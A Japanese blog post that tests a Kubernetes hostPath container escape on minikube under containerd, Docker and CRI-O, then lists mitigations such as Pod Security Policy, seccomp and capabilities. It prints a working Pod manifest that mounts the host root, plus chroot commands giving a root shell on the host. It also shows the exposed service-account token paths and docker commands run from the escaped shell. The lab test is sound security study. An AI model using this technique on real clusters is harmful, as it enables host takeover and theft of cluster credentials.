ちょっと前に、こんな記事を見つけました。
特定のKubernetesネームスペースに書き換えの権限を持つアカウントを使い、hostpathマウントを使うことでホストのシェルに侵入できるという報告になっています。
その後編は、Pod security Policyを使って保護する方法が解説されています。
以前、何もセキュリティを考慮せずに構築したKubernetesクラスターで、シェルの侵入とroot権限を使った操作ができるといった話はしたことがありましたが、専用のユーザーを作って特定のNamespaceのアクセスだけ許されたユーザーがHostpathを悪用してroot権限とシェルへのアクセスを可能としてしまうのはちょっとびっくりしました。
ちなみに、以下でこの問題を試した場合の実際の動きを確認できます。
そもそもHostpathの件ってランタイムと違いによってできる、できないはあるのか疑問に思い、Minikubeで試してみることにしました。
利用するYAMLファイル
各環境では次のようなYANLファイルを使うことにします。 今回はNamespaceについては考慮していません。
$ cat volume-warudakumi.yaml apiVersion: v1 kind: Pod metadata: name: pv-waru namespace: default spec: restartPolicy: Never volumes: - name: vol hostPath: path: / containers: - name: pv-waru image: "k8s.gcr.io/busybox" tty: true volumeMounts: - name: vol mountPath: /rootfs
containerdで試す
まずはコンテナランタイムとしてcontainerdを使う構成で試してみます。バージョンはK8s 1.20.4、minikubeは1.17.1を使っています。
$ minikube start --container-runtime=containerd --cni=flannel --kubernetes-version=v1.20.4 $ kubectl create -f volume-warudakumi.yaml $ kubectl exec -it pv-waru -- sh
コンテナーの中で次のように実行すると、シェルが変わったのが分かります。
/ # chroot /rootfs bash-5.0#
ホストのシェルにいるため、ホスト上に存在する様々なファイルを見ることができるだけでなく、
bash-5.0# df -h|grep secret tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/415dcb59-bcc2-4f68-8ebb-05912cccd4b1/volumes/kubernetes.io~secret/storage-provisioner-token-9scxp tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/90d56527-5a60-43ed-9202-af62ae7b39ec/volumes/kubernetes.io~secret/flannel-token-bl9zq tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/6a065ade-e4c3-4379-9b38-df1ccbe1bb4e/volumes/kubernetes.io~secret/coredns-token-xxbxw tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/e69d341d-e7d1-423f-8207-a2c9679e1fec/volumes/kubernetes.io~secret/kube-proxy-token-6d9gd tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/d8abd4bf-b796-474c-bdad-a1f088bfd884/volumes/kubernetes.io~secret/default-token-6r8sq
ファイルの作成、書き込み、書き換えも可能です。
bash-5.0# echo "hogehoge" > /root/huga
先ほど作ったファイルの権限を確認してみます。
$ minikube ssh
root権限でファイルが作られています。
$ ls -l /root -rw-r--r-- 1 root root 9 Mar 2 00:49 huga $ cat huga hogehoge
cri-toolsでコンテナを起動するを参考に、cri-toolsを使ってPodを作ってみます。
bash-5.0# cat busybox-pod.json { "metadata": { "name": "busybox", "namespace": "default", "attempt": 1, "uid": "hdishd83djaidwnduwk28bcsb" }, "log_directory": "/tmp", "linux": { } }
パーミッションエラーでうまく作れませんでした(=セキュリティ的には正しい動き)。 うまくいかなくて安心しました。
bash-5.0# crictl runp busybox-pod.json sudo: setrlimit(RLIMIT_CORE): Operation not permitted ec5c017da9a319c8a19b0bca558af50c395d469f7b9f859c0f4c326e86eec2d7
とりあえず、この環境は一旦削除します。
# minikube delete
Dockerで試す
次にコンテナランタイムとしてDockerを使う構成で試してみます。条件は一緒です。
$ minikube start --container-runtime=docker --cni=flannel --kubernetes-version=v1.20.4 $ kubectl create -f volume-warudakumi.yaml $ kubectl exec -it pv-waru -- chroot /rootfs
シェルに入れてしまうのはcontaierdと一緒です(Dockerはcontainerdをバックエンドに使っているため)。
bash-5.0# bash-5.0# df -h|grep secret tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/73b43532-20fe-4598-b827-27ae8df2b035/volumes/kubernetes.io~secret/flannel-token-z76vs tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/a00eb93e-0977-42db-a220-3eeef4f1798a/volumes/kubernetes.io~secret/coredns-token-4w6jn tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/fb95d7b2-aaf9-43c0-a909-dd39a4da7822/volumes/kubernetes.io~secret/storage-provisioner-token-bfmrb tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/eb44bb27-e50c-4081-97c4-a31c79cd59b6/volumes/kubernetes.io~secret/kube-proxy-token-nv2fk tmpfs 1.9G 12K 1.9G 1% /var/lib/kubelet/pods/21b6c07d-e1fa-44b1-9c4e-f1e207d5d324/volumes/kubernetes.io~secret/default-token-mg8gm
crictlツールはやっぱり使えないのですが、dockerコマンドは問題なく実行できてしまいます。何も設定しないとrootユーザーで動いてしまうためです。
bash-5.0# docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE k8s.gcr.io/kube-proxy v1.20.4 c29e6c583067 11 days ago 118MB k8s.gcr.io/kube-apiserver v1.20.4 ae5eb22e4a9d 11 days ago 122MB k8s.gcr.io/kube-controller-manager v1.20.4 0a41a1414c53 11 days ago 116MB k8s.gcr.io/kube-scheduler v1.20.4 5f8cb769bd73 11 days ago 47.3MB kubernetesui/dashboard v2.1.0 9a07b5b4bfac 2 months ago 226MB gcr.io/k8s-minikube/storage-provisioner v4 85069258b98a 3 months ago 29.7MB k8s.gcr.io/etcd 3.4.13-0 0369cf4303ff 6 months ago 253MB k8s.gcr.io/coredns 1.7.0 bfe3a36ebd25 8 months ago 45.2MB kubernetesui/metrics-scraper v1.0.4 86262685d9ab 11 months ago 36.9MB quay.io/coreos/flannel v0.12.0-amd64 4e9f801d2217 11 months ago 52.8MB k8s.gcr.io/pause 3.2 80d28bedfe5d 12 months ago 683kB k8s.gcr.io/busybox latest e7d168d7db45 6 years ago 2.43MB
Dockerランタイムで同様のことをすると、シェルに侵入してdocker container run
コマンドを実行できてしまいました。
実験に使ったイメージはただのbusyboxシェルですが、不正なイメージを使って不正なコンテナーを実行できてしまいます。
bash-5.0# docker container run --name=smile -it k8s.gcr.io/busybox sh / #
CRI-Oで試す
同じことをCRI-Oで試すと、chrootの段階でパーミッションエラーになりました。 CRI-OはデフォルトでLinux capabilitiesの設定がDockerやcontainerdよりも最小限になっているため、CRI側のセキュリティ機能でブロックされるということのようです。
$ minikube start --container-runtime=cri-o --cni=flannel --kubernetes-version=v1.20.4 $ kubectl create -f volume-warudakumi.yaml $ kubectl exec -it pv-waru -- sh / # chroot /rootfs chroot: can't change root directory to '/rootfs': Operation not permitted
逆に言えば、containerdで同じようにLinux capabilitiesの設定を行えばいいということなのかもしれません。
まとめ
- Dockerをランタイムとして使うのはやめた方が良いと思った。
- Pod Secirty Policyでhostpathは使用できないように設定する。その他、必要以上に権限を渡さないようにする。
- ランタイム側でseccomp profileを指定したり、Linux Capabilitiesを適切に設定するといいかもしれない。
- CRI-Oをコンテナランタイムとして使うのは良い気がする(それとともにPod Secirty Policyも適切に設定して多重防御)。